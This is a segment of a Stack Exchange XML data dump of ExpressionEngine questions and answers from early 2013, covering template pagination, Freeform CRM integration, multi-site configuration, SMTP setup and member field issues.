  <row Id="5864" PostTypeId="2" ParentId="5861" CreationDate="2013-02-05T17:01:40.623" Score="2" Body="&lt;p&gt;I don' think this can be done automatically with a native CartThrob tag. However, if you're outputting the CartThrob field data between &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tags, you could just use the custom fields of each price modifier fields within a multi select tag like so to group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select multiple&amp;gt;&#xA;    {first_price_modifier_field}&#xA;        {if first_row}&amp;lt;optgroup label=&quot;First Label Name&quot;&amp;gt;{/if}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;        {if last_row}&amp;lt;/optgroup&amp;gt;{/if}&#xA;    {/first_price_modifier_field}&#xA;&#xA;    {second_price_modifier_field}&#xA;        {if first_row}&amp;lt;optgroup label=&quot;Second Label Name&quot;&amp;gt;{/if}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;        {if last_row}&amp;lt;/optgroup&amp;gt;{/if}&#xA;    {/second_price_modifier_field}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can't actually group all price modifier fields into one select group since each select menu needs to have it's own unique &lt;code&gt;name=&lt;/code&gt; for CT to update pricing accordingly for that product: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;item_options[first_price_modifier_field]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-05T17:09:50.167" LastActivityDate="2013-02-05T17:09:50.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5865" PostTypeId="1" AcceptedAnswerId="5871" CreationDate="2013-02-05T17:04:37.190" Score="2" ViewCount="155" Body="&lt;p&gt;I am experiencing an odd issue. Randomly, form submissions within the control panel are not actually saving anything and redirecting me to the CP home. This happens with regular channel entry editing, Low Variables, Low Reorder, CE Cache... doesn't seem to matter what is getting saved. About 40% of the time, the form submission takes, and works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens in production. It is hosted in a multi-instance environment (PagodaBox). I thought perhaps it had something to do with each request going to a different instance... but they are all sharing the same database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2013-11-26T03:59:23.887" Title="Control Panel forms not saving" Tags="|control-panel|server|hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5866" PostTypeId="2" ParentId="5820" CreationDate="2013-02-05T17:17:24.143" Score="1" Body="&lt;p&gt;Roi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using EE's filemanager to handle thumbnail creation, specifically below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;EE-&amp;gt;filemanager-&amp;gt;create_thumb($image_path, $preferences);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this is something done by EE.  Some hosts will put a mask on the level of permissions PHP scripts can set - so if a script tries to set one permission, that mask may change it.  The latter is something to ask of your host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, 666 permissions should be just fine for you to work with, so I'd also follow up on that point with your hosting provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-05T17:17:24.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5867" PostTypeId="1" AcceptedAnswerId="5868" CreationDate="2013-02-05T17:21:56.773" Score="2" ViewCount="414" Body="&lt;p&gt;We have landing pages on our site, and we want to be able to export this form data into two separate CRMs: Leads360 and Microsoft Dynamics CRM. The forms are using FreeForm (the remote dev team chose this.) Both of these CRMs require the form data to be submitted to a custom POST URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Freeform? I can't find anything on the Solspace site in the Freeform documentation.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-02-05T17:42:32.443" Title="Integrating Freeform with two CRMs?" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5868" PostTypeId="2" ParentId="5867" CreationDate="2013-02-05T17:24:12.423" Score="1" Body="&lt;p&gt;We've used the post submit hook in Freeform to write our own extension that submits the data to SalesForce. In this case, we use cURL to simulate a post to SalesForce's Web2Lead form rather than work with the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start in that context - An extension using the post submit hook - You can write any number of functions in there. You could submit to 1, 2, 5, 10 different services with the data that was just posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; Another option, if you don't want to go the Extension route:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable PHP in a template and set that template to be the Redirect URL of your Freeform form. Write out all the PHP that integrates with those CRMs in that template. There should be a way to get the Insert ID of the new Freeform entry onto the redirect URL. Within that PHP template, you can redirect the user to any other page on the site you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, it's a file with the PHP that does the behind the scenes POSTs to those sites. The extension is the right way to do it.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-05T17:42:32.443" LastActivityDate="2013-02-05T17:42:32.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5869" PostTypeId="2" ParentId="5831" CreationDate="2013-02-05T17:37:41.090" Score="0" Body="&lt;p&gt;It ended up, in this case, being a misconfigured apache configuration. The client had AllowOverride set to No. Thanks so much for your assistance!&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-02-05T17:37:41.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5870" PostTypeId="2" ParentId="5716" CreationDate="2013-02-05T17:50:35.300" Score="1" Body="&lt;p&gt;I had a similar issue with Zoo:Visitor and my production install. This may not be the complete answer, but I highly recommend signing up for a &lt;a href=&quot;http://mandrill.com/&quot; rel=&quot;nofollow&quot;&gt;Mandrill&lt;/a&gt; account and setting your server to send using SMTP settings from Mandrill. I too was able to send emails via the communication tool, yet my member notifications weren’t going throguh. Once I used a transactional delivery system, my problems disappeared. I’m still not 100% certain what was the cause on our server, but it should at least get you up and running.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-02-05T17:50:35.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5871" PostTypeId="2" ParentId="5865" CreationDate="2013-02-05T17:56:26.597" Score="1" Body="&lt;p&gt;Does it still do this if you set &lt;code&gt;Process form data in Secure Mode?&lt;/code&gt; in  &lt;code&gt;Admin &amp;gt;&amp;gt; Security and Privacy &amp;gt;&amp;gt; Security and Sessions&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed this if I try and submit a form twice without any sort of page reload in between. Although not ideal, turning off the above fixed the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="314" LastEditorUserId="28" LastEditDate="2013-11-26T03:59:23.887" LastActivityDate="2013-11-26T03:59:23.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5872" PostTypeId="1" CreationDate="2013-02-05T17:59:05.823" Score="3" ViewCount="188" Body="&lt;p&gt;Many, many years ago, before MSM, there was a documented way to have multiple sites run on a single installation of EE. It involved creating a new folder at the site root and having an index.php and path.php file that redirected to the main installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this successfully for many years on EE1.x. Now that I've upgraded to EE2.x, it seems to have broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main installation is at: www.rickandlynne.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, the second site is my wife's site at: www.rickandlynne.com/lynne&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble I am now having is with pagination, logins, and other blind navigation from my wife's site that ends up redirected to my site. For example, try pagination from her site and you'll see there is a &quot;/&quot; missing in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been experimenting with settings in the index.php and path.php and channel configurations and just can't figure out how to make this work any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with this and know how to get this &quot;old style&quot; multiple site scheme working in EE2? It appears to be possible because in the EE2.x index.php file there is a section shown here (with my configuration from EE1.x_:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * --------------------------------------------------------------------&#xA; *  CUSTOM CONFIG VALUES&#xA; * --------------------------------------------------------------------&#xA; *&#xA; * The $assign_to_config array below will be passed dynamically to the&#xA; * config class. This allows you to set custom config items or override&#xA; * any default config values found in the config.php file.  This can&#xA; * be handy as it permits you to share one application between more then&#xA; * one front controller file, with each file containing different &#xA; * config values.&#xA; *&#xA; * Un-comment the $assign_to_config array below to use this feature&#xA; *&#xA; * NOTE: This feature can be used to run multiple EE &quot;sites&quot; using&#xA; * the old style method.  Instead of individual variables you'll&#xA; * set array indexes corresponding to them.&#xA; *&#xA; */&#xA;    $assign_to_config['template_group'] = 'lynne';&#xA;    $assign_to_config['template'] = 'index';&#xA;    $assign_to_config['site_index'] = 'go';&#xA;    $assign_to_config['site_404'] = '';&#xA;    $assign_to_config['global_vars'] = array(); // This array must be associative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-02-06T02:56:46.460" Title="&quot;Old-Style&quot; multiple sites on one installation" Tags="|ee2-upgrades|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5873" PostTypeId="1" AcceptedAnswerId="5875" CreationDate="2013-02-05T18:09:36.767" Score="4" ViewCount="547" Body="&lt;p&gt;I have a client that would like to edit file names for photos that site members have uploaded. She wants to rename them for SEO purposes. (e.g. changing name from DSC_00234.jpg to a-descriptive-title.jpg) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a bit more detail:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Members each have an account where they can create a profile about their services/products and they can upload multiple photos&lt;/li&gt;&#xA;&lt;li&gt;The photos are stored in a Matrix with image input and descriptive caption (which is used in alt text)&lt;/li&gt;&#xA;&lt;li&gt;We are concerned with making sure that when an image is renamed it will still be linked properly in the entry in the Matrix field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client would prefer to be able to edit these filenames herself &lt;em&gt;after&lt;/em&gt; they have been uploaded, rather then &lt;em&gt;at the time of upload&lt;/em&gt; by site members, so that she has more control.&lt;/li&gt;&#xA;&lt;li&gt;A solution that would automatically rename them to something useful (rather than having client edit them herself) would work for us too.&lt;/li&gt;&#xA;&lt;li&gt;We did not see anything that would do this with either built-in EE functionality or with add-ons. (Thought it's possible we might have missed an add-on.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any recommendations on a decent way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="348" LastActivityDate="2013-02-07T17:23:07.273" Title="Renaming image file names" Tags="|seo|filesystem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5874" PostTypeId="1" CreationDate="2013-02-05T18:21:21.930" Score="1" ViewCount="269" Body="&lt;p&gt;How do I add jquery animation to the pagination in Matrix? I got help from P&amp;amp;T Support and they showed me how to add pagination to Matrix in Expression Engine. I was wondering how to add jquery animation/fade/slide to the Matrix row changes?&lt;/p&gt;&#xA;" OwnerUserId="949" LastEditorUserId="268" LastEditDate="2013-02-06T04:50:20.767" LastActivityDate="2013-04-09T00:07:05.773" Title="How do I add jquery animation to the pagination in Matrix?" Tags="|add-on|matrix|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5875" PostTypeId="2" ParentId="5873" CreationDate="2013-02-05T18:27:58.767" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; will let you provide a filename for the generated image. If you updated your templates to process the images with CE Image, I imagine you could pass in a field value for that, either bundling fields that exist in the entry or Matrix columns or a specific filename field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going for SEO, I'm not sure how you would automatically rename them without having source data to generate the new names.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-05T18:27:58.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5876" PostTypeId="1" AcceptedAnswerId="5882" CreationDate="2013-02-05T20:00:08.770" Score="0" ViewCount="53" Body="&lt;p&gt;Since I need bits and pieces of a channel entry on various parts of my page, is it possible to store the channel entry in one big variable that contains everything? That way, I can access it throughout the template (and embedded templates)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Stash for variables, usually for one field value only. Now I want the entire channel entry - all the fields.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-05T20:24:00.350" Title="Channel Entry in One Variable?" Tags="|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5877" PostTypeId="1" CreationDate="2013-02-05T20:01:27.423" Score="2" ViewCount="849" Body="&lt;p&gt;I have some fields where multiple images are uploaded. These images need to be created manually to ensure they're cropped correctly, and I want to ensure that each field only accepts an image cropped to exact dimensions. I don't want to crop the images programatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, field 1 accepts an image cropped exactly to 1000px by 300px, field 2 accepts 700px by 250px, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if there's any way to have this kind of validation in Expression Engine, either with a plugin or core functionality?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-11-14T09:30:00.310" Title="Any way to restrict image size on upload?" Tags="|image|validation|crop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5878" PostTypeId="2" ParentId="5716" CreationDate="2013-02-05T20:05:49.173" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I sent a test email from the communicate tab, and that went through with no problems.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the confounding part, because they should be using the same system. Are they really not sending? Or are they not being received? The recipient server may be rejecting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a Gmail account handy, I'd recommend setting up the Control Panel to send through Gmail. At least then you could truly test that the emails are not sending, because you'll see copies in your sent folder if they send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to setting ssl://smtp.gmail.com as your SMTP Server Address, to use Gmail you'll need to hack system/codeigniter/system/libraries/Email.php as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//var $smtp_port     = &quot;25&quot;;      // SMTP Port&#xA;var   $smtp_port     = &quot;465&quot;;      // SMTP Port&#xA;var   $newline      = &quot;\r\n&quot;;      // Default newline.&#xA;var   $crlf         = &quot;\r\n&quot;;      // The RFC 2045 compliant CRLF&#xA;//var $newline      = &quot;\n&quot;;      // Default newline.&#xA;//var $crlf         = &quot;\n&quot;;      // The RFC 2045 compliant CRLF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if all your emails are getting out through Gmail. If they are, then there's something blocking them on the recipient side. If they aren't, you'll need to troubleshoot your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your add-ons, in profile/models/profile_model.php, there's a &lt;code&gt;send_email&lt;/code&gt; function. I'm guessing that's the place to look. Instead of &lt;code&gt;return&lt;/code&gt;, try doing an &lt;code&gt;echo&lt;/code&gt; on the function that sends the email. It might give you back an error. You'll need to follow that with &lt;code&gt;exit();&lt;/code&gt; or the server will just continue on with the code &amp;amp; redirect without you seeing the &lt;code&gt;echo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we launch sites, I urge clients to set me up with a mail server account to use SMTP instead of PHP Mail. Installing Postfix on a server or using built-in email options is straightforward enough, but it's one more thing to maintain/troubleshoot and you risk your web server's IP being flagged if there's ever an issue with emails originating there.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-05T20:17:38.903" LastActivityDate="2013-02-05T20:17:38.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5879" PostTypeId="2" ParentId="704" CreationDate="2013-02-05T20:15:26.237" Score="0" Body="&lt;p&gt;I'm not sure if you're too far into this site to entertain using Structure, but it's easy to accomplish this with Structure. Your Structure URLs are stored separately from URL Titles. Initially, the Structure URL field copies the URL Title field, but you can then edit it to be any unique URL within its parent page/entry.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-05T20:15:26.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5880" PostTypeId="1" AcceptedAnswerId="5883" CreationDate="2013-02-05T20:15:39.310" Score="2" ViewCount="101" Body="&lt;p&gt;I have a peculiar problem with a recent EE 2.5.5 site we launched. I've setup a member group for client access with appropriate channels assigned to them. The problem is that somehow their channel access keeps resetting resulting in no access to channels. I've reset their group preferences many times be it keeps getting reset back to none. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be happening on the client end? The group preference doesn't allow them access to the Member area so I kinda doubt it. I rarely access this section of EE so I doubt it's something I'm doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="580" LastActivityDate="2013-02-05T20:37:56.137" Title="Member Group preferences resetting" Tags="|members|channel-preferences|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5881" PostTypeId="2" ParentId="5877" CreationDate="2013-02-05T20:16:23.023" Score="1" Body="&lt;p&gt;In order for ExpressionEngine to know anything at all about the images they would first need to be uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps something like this? &lt;a href=&quot;http://blueimp.github.com/jQuery-File-Upload/&quot; rel=&quot;nofollow&quot;&gt;http://blueimp.github.com/jQuery-File-Upload/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to look for something that worked on the client side via Flash or Javascript which could test the file before the upload process starts.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-02-05T20:16:23.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5882" PostTypeId="2" ParentId="5876" CreationDate="2013-02-05T20:24:00.350" Score="3" Body="&lt;p&gt;You can use Stash for this as well. Just create a variable for each value from the channel entry that you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like you want a less manual process, but there isn't a default EE way of doing that. You probably could build a third party add-on to do something like this, but there aren't any that I know of that have this functionality.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-02-05T20:24:00.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5883" PostTypeId="2" ParentId="5880" CreationDate="2013-02-05T20:37:56.137" Score="2" Body="&lt;p&gt;YOU FOUND A BUG! I'm guessing you have more than one member group? I thought it had been fixed in 2.5.5... may not? there's a known solution over at: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18234&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18234&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2013-02-05T20:37:56.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5884" PostTypeId="2" ParentId="5862" CreationDate="2013-02-05T21:41:55.737" Score="3" Body="&lt;p&gt;I was just about to have a crack at a little plugin for this but it looks as though Andrew Weaver &lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_country/src&quot; rel=&quot;nofollow&quot;&gt;beat me to it&lt;/a&gt;. By the sound of it his plugin will do what you're after:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;{exp:ajw_country}&lt;/code&gt; to display the 2 letter country code of the current IP&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-02-05T21:41:55.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5885" PostTypeId="2" ParentId="5727" CreationDate="2013-02-05T22:10:34.423" Score="2" Body="&lt;p&gt;You might be able to stick to EE code with the following?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe relying on &lt;code&gt;total_results&lt;/code&gt; &amp;amp; &lt;code&gt;count&lt;/code&gt; would do it, and then within you could check for the current entry_id to skip that one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_results&amp;gt;1}&#xA;{if count==1}&#xA;&amp;lt;!-- Set up header &amp;amp; UL --&amp;gt;&#xA;{/if}&#xA;{if entry_id != 344}&#xA;&amp;lt;!-- Output entry details --&amp;gt;&#xA;{/if}&#xA;{if:elseif count==1 &amp;amp;&amp;amp; total_results==1}&#xA;{!-- This would never happen, right? Because if total_results==1, then you're looking at the only entry. So all you need is the single if --}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to clarify what I've written there: I included an else statement for when there's only 1 result. But you'd never want that. Because the 1 result would be 344, and you don't want to show anything if that's the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you kill the &lt;code&gt;elseif&lt;/code&gt;, you can just do 2 separate &lt;code&gt;if&lt;/code&gt; statements, right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==1 &amp;amp;&amp;amp; total_results&amp;gt;1}&#xA;&amp;lt;!-- Set up header &amp;amp; UL --&amp;gt;&#xA;{/if}&#xA;{if entry_id != 344}&#xA;&amp;lt;!-- Output entry details --&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that what you're looking for? Or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-05T22:10:34.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5886" PostTypeId="2" ParentId="5872" CreationDate="2013-02-05T22:23:22.073" Score="3" Body="&lt;p&gt;Yes it's possible. Assuming, you are still on the same server (since server variation can switch things up), not these things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Path.php is dead&lt;/strong&gt;. We've kept ours around on clients we upgraded to EE2, but added the note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// THESE ITEMS ARE SET IN index.php and config.php AS OF EE2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Check Your URI Protocol&lt;/strong&gt;. This dogged us for awhile, before we happened upon it looking for a solution to a totally different issue. EE2 defaults to 'AUTO' for the protocol, which should work, but hasn't yet worked for us on any server where we are using the Old School MSM method. Test 'PATH_INFO' or the other methods. 'PATH_INFO' has been our go to. (This is config.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['uri_protocol'] = &quot;PATH_INFO&quot;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pagination Sucks&lt;/strong&gt;. Even on primary domains, it tries to re-insert the /index.php before processing the data. Your issue seems to be two-fold: (a) Your wife's domain isn't pointing, because you couldn't get it to work and (b) that missing trailing slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these maybe solved by getting the domains to work. But you may still need to do a little work. For one of our projects, we use FIND &amp;amp; REPLACE to clean-up the url. This is the clean url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://consumerservicesguide.org/resources/national/browse/category/197/P25&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://consumerservicesguide.org/resources/national/browse/category/197/P25&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is what the system produces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://consumerservicesguide.org/csg/resources/national/browse/category/197/P25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the code we use to clean it up&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;&amp;lt;div id=&quot;pagination&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:low_replace find=&quot;{segment_1}/&quot; replace=&quot;&quot;}{pagination_links}{/exp:low_replace}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/paginate} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of the use of custom segments, the &lt;code&gt;index.php&lt;/code&gt; file isn't an issue, here, but has been on other sites. We test. If we manually remove the index.php and pagination still works, then we basically add &lt;code&gt;index.php/{segment_1}/&lt;/code&gt; to the find and replace script. If pagination doesn't work without the &lt;code&gt;index.php&lt;/code&gt;, we leave it in. This seems to be server dependent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the main points, but you can also check my response &lt;strong&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2371/how-to-set-the-default-template-group-in-index-php/2374#2374&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;, if you need more troubleshooting tips. But my thoughts are, as long as you've transferred the details from 'path.php' to index.php, and adjusted the URI PROTOCOL in 'config.php', if it was working before, on the same server, it should work again.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-05T22:23:22.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5887" PostTypeId="1" AcceptedAnswerId="5889" CreationDate="2013-02-05T22:43:27.773" Score="1" ViewCount="274" Body="&lt;p&gt;Using freemember to register a member with custom fields and when I submit a form intentionally with errors the appropriate inline errors are returned - that works as desired. When i submit the form with correct data the ugly EE error screen is output requiring all the custom member fields that were just submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-02-05T23:21:20.407" Title="member registration using freemember" Tags="|members|freemember|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5889" PostTypeId="2" ParentId="5887" CreationDate="2013-02-05T23:21:20.407" Score="3" Body="&lt;p&gt;This sounds like you have the required = yes in the custom member field settings. IF you are using FreeMember it is best to leave those at not being required in the EE CP then requiring them with the required tag in your opening FreeMember tag.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-05T23:21:20.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5890" PostTypeId="1" AcceptedAnswerId="5891" CreationDate="2013-02-06T01:32:39.327" Score="0" ViewCount="820" Body="&lt;p&gt;I'm trying to get some pagination at the bottom of my search results, and I can't seem to get it to work.  All the results display as expected, but there's no pagination at the bottom.  Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-100&quot;&amp;gt;&#xA;&#xA;    &amp;lt;h1 class=&quot;section-header&quot;&amp;gt;{exp:search:total_results} Result(s) for &quot;{exp:search:keywords}&quot;&amp;lt;/h1&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {exp:search:search_results paginate=&quot;bottom&quot; limit=&quot;4&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt; from &amp;lt;em&amp;gt;{channel}&amp;lt;/em&amp;gt;&amp;lt;br/&amp;gt;{excerpt}&amp;lt;br/&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;br/&amp;gt;&#xA;&#xA;&#xA;        {if count == total_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {/if}&#xA;        {paginate}&#xA;            &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;        {/exp:search:search_results}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-02-06T02:09:13.460" Title="Pagination in Search results?" Tags="|search|pagination|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
